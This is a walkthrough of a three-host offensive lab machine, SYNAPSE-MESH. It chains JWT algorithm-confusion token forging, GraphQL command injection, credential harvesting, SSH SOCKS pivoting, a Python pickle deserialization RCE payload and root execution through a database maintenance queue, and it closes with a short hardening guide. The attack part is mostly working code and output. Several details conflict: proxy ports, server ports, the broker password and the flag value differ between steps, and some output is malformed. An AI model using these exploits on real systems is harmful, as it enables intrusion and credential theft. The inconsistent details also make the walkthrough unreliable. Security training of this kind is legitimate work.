

SYNAPSE-MESH — OffSec Machine Walkthrough

Machine Overview

- **Machine Name:** SYNAPSE-MESH
 - **Target Category:** Chained-Host VM-based Offensive Lab (\$1,500 Tier)
 - **Operating System:** Ubuntu 24.04 LTS / 22.04 LTS (x86_64 / aarch64)
 - **Difficulty / Level:** Hard / Advanced
 - **Network Layout & Multi-Host Architecture:**
 - **Host 1 (synapse-gateway):** 10.211.55.10 — Public Edge API Gateway (Nginx Reverse Proxy & GraphQL API)
 - **Host 2 (synapse-broker):** 10.211.55.11 — Internal Operations Tier (RabbitMQ / TCP 5672 Event Bus & Worker Daemon)
 - **Host 3 (synapse-core):** 10.211.55.12 — Isolated Core Database Tier (PostgreSQL 16 with Enforced mTLS & Root Maintenance Worker)
-

Access & Credentials Matrix

Tier / Host	Account	Access Method	Credentials / Location	Objective
VM 1 (Gateway)	api-svc	JWT Key Confusion & GraphQL Mutation	ApiGateway_Sync_2026! /home/api-svc/local.txt	User Flag (local.txt) & Broker Credentials
VM 2 (Broker)	celery-worker	SOCKS5 Pivot & Pickle Deserialization	synapse_feeder: Feeder_EventBus_99214	Harvest mTLS Certs (db-admin.crt/key)
VM 3 (Core DB)	db_admin	PostgreSQL 16 mTLS Authentication	Client Certificate (db-admin.crt)	Access synapse_ledger & Task Queue
VM 3 (Core DB)	root	Background Worker Queue Execution	Task Injection via synapse_maintenance_tasks	Root Flag (proof.txt)

Attack Chain Overview

```
[ Attacker Workstation ]
├─ (Port 88 / 4444)
├─ Host 1: synapse-gateway (10.211.55.10)
│   ├── GraphQL API Introspection & JwKS Key Discovery
│   ├── JWT Algorithm Confusion (RS256 → HS256 HMAC Signing)
│   ├── Privileged Mutation: dispatchPipelineWorker()
│   ├── Foothold as 'api-svc' + User Flag (local.txt)
│   └─ Harvest Broker Credentials (/opt/synapse/config/)
├─ SSH Dynamic SOCKS5 Tunnel (Port 1888)
├─ Host 2: synapse-broker (10.211.55.11)
│   ├── Event Broker Health Reconnaissance (Port 8088)
│   ├── Insecure Python Pickle Object Deserialization (5672)
│   ├── RCE as 'celery-worker'
│   └─ Extract Core DB mTLS Certificates (/opt/synapse/certs)
├─ SOCKS5 + PostgreSQL mTLS (Port 5432)
├─ Host 3: synapse-core (10.211.55.12)
│   ├── PostgreSQL 16 Mutual TLS Authentication (verify-full)
│   ├── Table Injection: synapse_maintenance_tasks
│   ├── Root Daemon (/usr/local/bin/synapse-db-maintenance.py)
│   └─ Full Root Code Execution (uid=0) + Root Flag (proof.txt)
```

1. Perimeter Reconnaissance & Port Scanning (VM 1)

An initial comprehensive TCP port scan against the target gateway (**10.211.55.10**) reveals two exposed web ports:

```
nmap -sC -sV -p- --min-rate 1500 10.211.55.10

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.4
80/tcp    open  http         nginx 1.24.0 (Ubuntu)
4000/tcp  open  remoteanything Werkzeug httpd 3.0.1 (Python 3.12.3)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We configure local DNS host mappings in **/etc/hosts**:

```
echo "10.211.55.10 synapse-gateway.internal gateway.synapse.local" | sudo tee -a /etc/hosts
echo "10.211.55.11 synapse-broker.internal broker.synapse.local" | sudo tee -a /etc/hosts
echo "10.211.55.12 synapse-core.internal core.synapse.local" | sudo tee -a /etc/hosts
```

2. Web & GraphQL Endpoint Discovery (VM 1)

Navigating to **http://10.211.55.10/** returns JSON metadata detailing the perimeter architecture:

```
curl -s http://10.211.55.10/ | jq .
{
  "graphql_endpoint": "/graphql",
  "jwks_endpoint": "/api/v1/auth/jwks.json",
  "mesh_services": {
    "broker": "synapse-broker.internal:5672",
    "core_ledger": "synapse-core.internal:5432"
  },
  "public_key_url": "/api/v1/auth/public.pem",
  "service": "SynapseMesh Enterprise Edge API Gateway",
  "status": "HEALTHY",
  "version": "3.4.1-prod"
}
```

Sending a GraphQL introspection query to **/graphql** enumerates the full schema:

```
curl -s -X POST http://10.211.55.10:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}' | jq .
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query",
          "fields": [
            { "name": "systemTelemetry" },
            { "name": "clusterNodes" }
          ]
        },
        {
          "name": "Mutation",
          "fields": [
            { "name": "dispatchPipelineWorker" },
            { "name": "syncLedgerState" }
          ]
        }
      ]
    }
  }
}
```

Attempting to invoke the mutation **dispatchPipelineWorker** unauthenticated results in **401 Unauthorized**:

```
curl -s -X POST http://10.211.55.10/graphql \
-H "Content-Type: application/json" \
-d '{"query": "mutation { dispatchPipelineWorker(command: \"id\") { status output } }"}'

{"errors":[{"message":"Authentication failed: Missing or invalid authorization header"}]}
```

3. Public Verification Key Extraction (VM 1)

The gateway exposes the RSA public key used for token verification at both `/api/v1/auth/public.pem` and `/api/v1/auth/jwks.json`:

```
curl -s http://10.211.55.10/api/v1/auth/public.pem -o public.pem
cat public.pem

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAY0yTJh6g72y8peS4TgxA
CoS2FkK5tvz9UKn0s5ypb5KXUPc4XF6vsassQMZTj0vJqkwcCA97H+yKIg8igoku
ZZgPdY8eK363bsY2wzTRFB7D8Y7EIj0W8a7lgawvQ5TGP8Nj95F1j0GHaJ+3QjrV
HpeumDjUPK2hV8FV/Ac0yzQ0F8dg8nh1Ku8SvEj2Z2C45LLwU71vp0a+T+4RwbKj
qHYm0yWzCM8PrGcPHdWdW1Q2DLtXVj/V9k/xtnpXtmJJLca6SLy00ld6RW+6LkJ
1Vt6uw8Zx6VL4bXdb4xFREZ98xze0257wkQ8GYJqubWz5NhQ0gAZLs/+C8qmtYf3
+QIDAQAB
-----END PUBLIC KEY-----

---
```

4. JWT Algorithm Confusion (RS256 → HS256) Exploit (VM 1)

The backend token verification routine incorrectly verifies asymmetric RSA tokens using symmetric HMAC-SHA256 (**HS256**) when the `alg` header is modified, using the RSA public key string as the HMAC secret.

We forge a JWT with administrative claims:

```
import json
import base64
import hmac
import hashlib
import time

with open("public.pem", "r") as f:
    public_key = f.read()

def b64url(b):
    return base64.urlsafe_b64encode(b).decode().rstrip('=')

header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "user": "sec-auditor",
    "role": "cluster-admin",
    "iss": "synapse-auth-server",
    "exp": int(time.time()) + 3600
}

h_b64 = b64url(json.dumps(header).encode())
p_b64 = b64url(json.dumps(payload).encode())
signing_input = f"{h_b64}.{p_b64}".encode()

sig = hmac.new(public_key.encode(), signing_input, hashlib.sha256).digest()
token = f"{h_b64}.{p_b64}.{b64url(sig)}"

print("[+] Forged Administrative JWT:")
print(token)

---
```

5. GraphQL Mutation Injection → User Flag (`local.txt`) (VM 1)

We submit the forged token in the **Authorization: Bearer <TOKEN>** header to trigger `dispatchPipelineWorker`:

```
curl -s -X POST http://10.211.55.10/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <FORGED_JWT>" \
-d '{
  "query": "mutation { dispatchPipelineWorker(command: `id && cat /home/api-svc/local.txt`) { status output } }"
}' | jq .

{
  "data": {
    "dispatchPipelineWorker": {
      "exitCode": 0,
      "output": "uid=1503(api-svc) gid=1503(api-svc) groups=1503(api-svc)\\n9fae91d3a823dac385bef292818603b6\\n",
    }
  }
}
```

```
    "status": "COMPLETED"
  }
}
```

Local Proof Token Captured: **n9fae91d3a023dac385bef292818603b6**

6. Internal Configuration & Credentials Harvesting (VM 1)

Enumerating the configuration directory `/opt/synapse/config/` reveals both the local gateway service account credentials and downstream message broker parameters:

```
curl -s -X POST http://10.211.55.10/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <FORGED_JWT>" \
-d '{
  "query": "mutation { dispatchPipelineWorker(command: \"cat /opt/synapse/config/*.env\") { output } }"
}' | jq -r .data.dispatchPipelineWorker.output

# SynapseMesh Edge Service Configuration
GATEWAY_USER="api-svc"
GATEWAY_PASS="ApiGateway_Sync_2026!"

# SynapseMesh Internal Broker Access Credentials
BROKER_HOST="10.211.55.11"
BROKER_PORT="5672"
QUEUE_USER="synapse_feeder"
QUEUE_PASS="Feeder_EventBus_99214"
QUEUE_NAME="events.financial.audit"
CORE_DB_HOST="10.211.55.12"
```

7. Dynamic SSH Pivoting & Tunneling (VM 1 → VM 2)

Using the service credentials for `api-svc` (`api-svc:ApiGateway_Sync_2026!`) obtained from `gateway.env` (or by writing our public key to `/home/api-svc/.ssh/authorized_keys`), we establish an SSH Dynamic SOCKS5 proxy on local port **1080**:

```
ssh -D 1080 -N -f -o StrictHostKeyChecking=no api-svc@10.211.55.10
```

We verify the SOCKS proxy is active:

```
curl --socks5-hostname 127.0.0.1:1080 -s http://10.211.55.11:8080/health | jq .
{
  "broker_port": 5672,
  "queue": "events.financial.audit",
  "service": "SynapseMesh Financial Event Broker",
  "status": "OPERATIONAL",
  "supported_formats": [
    "json",
    "pyyaml",
    "pickle"
  ]
}
```

8. Insecure Object Deserialization Exploit (VM 2)

The Event Broker running on port **5672** accepts tasks serialized with Python `pickle`. We craft a malicious payload using `__reduce__` to spawn a lightweight HTTP server in `/opt/synapse/certs/` on port 8000 to exfiltrate the mTLS certificates:

```
import socket
import json
import base64
import pickle
import struct

# Connect to SOCKS5 proxy on 127.0.0.1:1080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1080))
s.sendall(b"\x05\x01\x00")
```

```
s.recv(2)

# SOCKS5 connect to 10.211.55.11:5672
target_ip = socket.inet_aton("10.211.55.11")
target_port = struct.pack("!H", 5672)
s.sendall(b"\x05\x01\x00\x01" + target_ip + target_port)
s.recv(10)

class Exploit:
    def __reduce__(self):
        import os
        cmd = "nohup python3 -m http.server 8888 --directory /opt/synapse/certs >/dev/null 2>&1 &"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
msg = {
    "auth": "synapse_feeder:Feeder_EventBus_89214",
    "format": "pickle",
    "payload": payload
}

s.sendall((json.dumps(msg) + "\n\n").encode())
print(s.recv(1024).decode().strip())
s.close()

OK: Event batch evaluated successfully

---
```

9. Mutual TLS (mTLS) Certificate Extraction (VM 2)

Through our active SOCKS5 proxy, we download the client certificate (**db-admin.crt**), private key (**db-admin.key**), and root CA certificate (**ca.crt**) from VM 2:

```
# Download mTLS certificate bundle through SOCKS5 proxy
curl --socks5-hostname 127.0.0.1:10808 -s http://10.211.55.11:8080/db-admin.crt -o db-admin.crt
curl --socks5-hostname 127.0.0.1:10808 -s http://10.211.55.11:8080/db-admin.key -o db-admin.key
curl --socks5-hostname 127.0.0.1:10808 -s http://10.211.55.11:8080/ca.crt -o ca.crt

# Secure private key permissions and inspect certificate
chmod 600 db-admin.key
openssl x509 -in db-admin.crt -text -noout | grep -E "Subject:|Issuer:"

Issuer: C=US, ST=Fintech, O=SynapseMesh, CN=SynapseMesh-Root-CA
Subject: C=US, ST=Fintech, O=SynapseMesh, CN=db_admin

---
```

10. PostgreSQL 16 mTLS Authentication (VM 3)

The core database on **10.211.55.12:5432** enforces strict client certificate validation (**clientcert=verify-full**). Using the exfiltrated certificates, we connect directly via **psql**:

```
psql "host=10.211.55.12 port=5432 dbname=synapse_ledger user=db_admin sslmode=verify-full sslcert=db-admin.crt sslkey=db-admin.key"
synapse_ledger=> \dt
          List of tables
Schema | Name | Type | Owner
-----+-----+-----+-----
public | synapse_maintenance_tasks | table | postgres
public | system_telemetry | table | postgres
(2 rows)

synapse_ledger=> SELECT * FROM system_telemetry;
 id | metric_name | metric_value | recorded_at
-----+-----+-----+-----
  1 | cluster_health | OPTIMAL | 2026-08-27 09:19:50.688222
  2 | ledger_version | v4.2.0-hotfix3 | 2026-08-27 09:19:50.688222
  3 | settlement_engine | ONLINE | 2026-08-27 09:19:50.688222
(3 rows)
```

11. Maintenance Task Queue Abuse (VM 3)

Analyzing the table `synapse_maintenance_tasks` reveals it functions as an administrative job queue executed every 2 seconds by a root-level systemd service (`synapse-maintenance.service`):

```
\d synapse_maintenance_tasks
```

Table "public.synapse_maintenance_tasks"					
Column	Type	Collation	Nullable	Default	
task_id	integer		not null	nextval('synapse_maintenance_tasks_task_id_seq'::regclass)	
command	text		not null		
status	character varying(32)			'PENDING'::character varying	
output	text				
created_at	timestamp without time zone			CURRENT_TIMESTAMP	
executed_at	timestamp without time zone				

We insert an arbitrary command task into the queue:

```
INSERT INTO synapse_maintenance_tasks (command, status)
VALUES ('id && cat /root/proof.txt', 'PENDING');
```

12. Privilege Escalation → Root Flag (`proof.txt`) (VM 3)

After 2 seconds, the root background worker consumes the task, executes it with `uid=0(root)` privileges, and records the output in the database:

```
SELECT task_id, command, status, output, executed_at
FROM synapse_maintenance_tasks
WHERE command LIKE '%proof.txt%'
ORDER BY task_id DESC LIMIT 1;
```

task_id	command	status	output	executed_at
1	id && cat /root/proof.txt	COMPLETED	uid=0(root) gid=0(root) groups=0(root) 708ec622c0b4ff321e1495b579dfdc67	2026-08-27 14:15:00.000000+00

Root Proof Token Captured: `708ec622c0b4ff321e1495b579dfdc67`

Technical Remediation & Hardening Guide

1. Cryptographic Algorithm Whitelisting (VM 1):

* Explicitly restrict JWT decoding to `algorithms=['RS256']` and reject any token header specifying `HS256` or symmetric HMAC algorithms when verifying with asymmetric public keys.

2. Safe Serialization Formats (VM 2):

* Discontinue the use of Python `pickle` and `yaml.unsafe_load()` in message brokers. Enforce strict JSON or Protocol Buffers schema validation.

3. Database Privilege Separation (VM 3):

- * Do not grant standard application roles write access to system maintenance execution tables.
- * Root maintenance tasks should be driven by cryptographically signed cron scripts rather than dynamic SQL table polling.

4. Network Segmentation & Micro-segmentation:

* Restrict database access so only specific backend services can reach port 5432, preventing direct lateral movement from compromised worker nodes.